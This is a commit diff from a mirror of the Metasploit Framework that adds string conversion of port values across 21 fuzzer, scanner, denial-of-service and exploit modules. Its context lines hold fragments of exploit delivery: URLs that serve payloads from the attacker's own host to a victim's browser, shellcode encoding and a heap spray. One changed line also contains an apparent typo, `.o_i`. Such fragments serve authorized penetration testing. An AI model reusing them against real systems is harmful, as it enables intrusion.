infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Take into account an integer-normalized datastore

unstable
HD Moore 2012-06-24 22:59:14 -05:00
parent 4d2e74e2ad
commit c28d47dc70
21 changed files with 24 additions and 25 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
modules/auxiliary/dos/http/apache_mod_isapi.rb
View File

@ -66,8 +66,8 @@ class Metasploit3 < Msf::Auxiliary
def run def run
serverIP = datastore['RHOST'] serverIP = datastore['RHOST']
if (datastore['RPORT'] != 80) if (datastore['RPORT'].o_i != 80)
serverIP += ":" + datastore['RPORT'] serverIP += ":" + datastore['RPORT'].to_s
end end
isapiURI = datastore['ISAPI'] isapiURI = datastore['ISAPI']

3
modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb
View File

@ -1,4 +1,3 @@
##
# $Id$ # $Id$
## ##
@ -167,7 +166,7 @@ class Metasploit3 < Msf::Auxiliary
@evilchars = [''] @evilchars = ['']
end end
print_status("Connecting to host " + ip + " on port " + datastore['RPORT']) print_status("Connecting to host " + ip + " on port " + datastore['RPORT'].to_s)
if (startstage == 1) if (startstage == 1)
process_phase(1, "Fuzzing without command") process_phase(1, "Fuzzing without command")

4
modules/auxiliary/fuzzers/http/http_form_field.rb
View File

@ -97,14 +97,14 @@ class Metasploit3 < Msf::Auxiliary
'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Keep-Alive' => '300', 'Keep-Alive' => '300',
'Connection' => 'keep-alive', 'Connection' => 'keep-alive',
'Referer' => proto + datastore['RHOST'] + ":" + datastore['RPORT'], 'Referer' => proto + datastore['RHOST'] + ":" + datastore['RPORT'].to_s,
'Content-Type' => 'application/x-www-form-urlencoded', 'Content-Type' => 'application/x-www-form-urlencoded',
} }
} }
@get_data_headers = { @get_data_headers = {
'Host' => host, 'Host' => host,
'User-Agent' => useragent, 'User-Agent' => useragent,
'Referer' => proto + datastore['RHOST'] + ":" + datastore['RPORT'], 'Referer' => proto + datastore['RHOST'] + ":" + datastore['RPORT'].to_s,
} }
end end

2
modules/auxiliary/scanner/http/frontpage_login.rb
View File

@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary
if datastore['RPORT'].to_i == 80 or datastore['RPORT'].to_i == 443 if datastore['RPORT'].to_i == 80 or datastore['RPORT'].to_i == 443
port = "" port = ""
else else
port = ":" + datastore['RPORT'] port = ":" + datastore['RPORT'].to_s
end end
info = (datastore['SSL'] ? "https" : "http") + "://#{target_host}#{port}/" info = (datastore['SSL'] ? "https" : "http") + "://#{target_host}#{port}/"

4
modules/exploits/multi/http/jboss_maindeployer.rb
View File

@ -193,7 +193,7 @@ class Metasploit3 < Msf::Exploit::Remote
# UPLOAD # UPLOAD
# #
resource_uri = '/' + app_base + '.war' resource_uri = '/' + app_base + '.war'
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("Starting up our web service on #{service_url} ...") print_status("Starting up our web service on #{service_url} ...")
start_service({'Uri' => { start_service({'Uri' => {
'Proc' => Proc.new { |cli, req| 'Proc' => Proc.new { |cli, req|
@ -203,7 +203,7 @@ class Metasploit3 < Msf::Exploit::Remote
}}) }})
if (datastore['WARHOST']) if (datastore['WARHOST'])
service_url = 'http://' + datastore['WARHOST'] + ':' + datastore['SRVPORT'] + resource_uri service_url = 'http://' + datastore['WARHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
end end
print_status("Asking the JBoss server to deploy (via MainDeployer) #{service_url}") print_status("Asking the JBoss server to deploy (via MainDeployer) #{service_url}")

2
modules/exploits/osx/mdns/upnp_location.rb
View File

@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
begin begin
socket = Rex::Socket.create_udp socket = Rex::Socket.create_udp
upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT'] upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT'].to_s
print_status("Listening for UPNP requests on: #{upnp_location}") print_status("Listening for UPNP requests on: #{upnp_location}")
print_status("Sending UPNP Discovery replies...") print_status("Sending UPNP Discovery replies...")

2
modules/exploits/windows/browser/aol_icq_downloadagent.rb
View File

@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
payload_url = "http://" payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/PAYLOAD" payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/PAYLOAD"
if (request.uri.match(/PAYLOAD/)) if (request.uri.match(/PAYLOAD/))
return if ((p = regenerate_payload(cli)) == nil) return if ((p = regenerate_payload(cli)) == nil)

2
modules/exploits/windows/browser/apple_quicktime_rtsp.rb
View File

@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote
shellcode = Rex::Text.to_unescape(p.encoded) shellcode = Rex::Text.to_unescape(p.encoded)
url = ((datastore['SSL']) ? "https://" : "http://") url = ((datastore['SSL']) ? "https://" : "http://")
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST']) url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
url << ":" + datastore['SRVPORT'] url << ":" + datastore['SRVPORT'].to_s
url << get_resource url << get_resource
js = <<-ENDJS js = <<-ENDJS
#{js_heap_spray} #{js_heap_spray}

2
modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
View File

@ -123,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Remote
shellcode = Rex::Text.to_unescape(p.encoded) shellcode = Rex::Text.to_unescape(p.encoded)
url = ((datastore['SSL']) ? "https://" : "http://") url = ((datastore['SSL']) ? "https://" : "http://")
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST']) url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
url << ":" + datastore['SRVPORT'] url << ":" + datastore['SRVPORT'].to_s
url << get_resource url << get_resource
fname = rand_text_alphanumeric(4) fname = rand_text_alphanumeric(4)

2
modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb
View File

@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
payload_url = "http://" payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload" payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
if (request.uri.match(/payload/)) if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil) return if ((p = regenerate_payload(cli)) == nil)

2
modules/exploits/windows/browser/blackice_downloadimagefileurl.rb
View File

@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote
url = "http://" url = "http://"
url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
url += ":" + datastore['SRVPORT'] + get_resource() + "/" url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"
#VBScript variables #VBScript variables
clsid = "79956462-F148-497F-B247-DF35A095F80B" clsid = "79956462-F148-497F-B247-DF35A095F80B"

2
modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb
View File

@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
payload_url = "http://" payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/#{@payload_rand}" payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/#{@payload_rand}"
if (request.uri.match(/#{@payload_rand}/)) if (request.uri.match(/#{@payload_rand}/))
return if ((p = regenerate_payload(cli)) == nil) return if ((p = regenerate_payload(cli)) == nil)

2
modules/exploits/windows/browser/dxstudio_player_exec.rb
View File

@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
url_base = "http://" url_base = "http://"
url_base += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] url_base += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
url_base += ":" + datastore['SRVPORT'] + get_resource() url_base += ":" + datastore['SRVPORT'].to_s + get_resource()
payload_url = url_base + "/payload" payload_url = url_base + "/payload"

2
modules/exploits/windows/browser/enjoysapgui_comp_download.rb
View File

@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote
payload_url = "http://" payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload" payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
if (request.uri.match(/payload/)) if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil) return if ((p = regenerate_payload(cli)) == nil)

2
modules/exploits/windows/browser/macrovision_unsafe.rb
View File

@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
payload_url = "http://" payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload" payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
if (request.uri.match(/payload/)) if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil) return if ((p = regenerate_payload(cli)) == nil)

2
modules/exploits/windows/browser/ms08_041_snapshotviewer.rb
View File

@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
payload_url = "http://" payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload" payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
if (request.uri.match(/payload/)) if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil) return if ((p = regenerate_payload(cli)) == nil)

2
modules/exploits/windows/browser/safari_xslt_output.rb
View File

@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote
url = "http://" url = "http://"
url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
url += ":" + datastore['SRVPORT'] + get_resource() + "/" url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"
content = <<-EOS content = <<-EOS
<?xml-stylesheet type="text/xml" href="#fragment"?> <?xml-stylesheet type="text/xml" href="#fragment"?>

2
modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb
View File

@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
payload_url = "http://" payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/PAYLOAD" payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/PAYLOAD"
if (request.uri.match(/PAYLOAD/)) if (request.uri.match(/PAYLOAD/))
return if ((p = regenerate_payload(cli)) == nil) return if ((p = regenerate_payload(cli)) == nil)

2
modules/exploits/windows/browser/symantec_appstream_unsafe.rb
View File

@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
payload_url = "http://" payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload" payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
if (request.uri.match(/payload/)) if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil) return if ((p = regenerate_payload(cli)) == nil)

2
modules/exploits/windows/browser/systemrequirementslab_unsafe.rb
View File

@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
payload_url = "http://" payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload" payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
if (request.uri.match(/payload/)) if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil) return if ((p = regenerate_payload(cli)) == nil)

2
modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb
View File

@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
payload_url = "http://" payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload" payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
if (request.uri.match(/payload/)) if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil) return if ((p = regenerate_payload(cli)) == nil)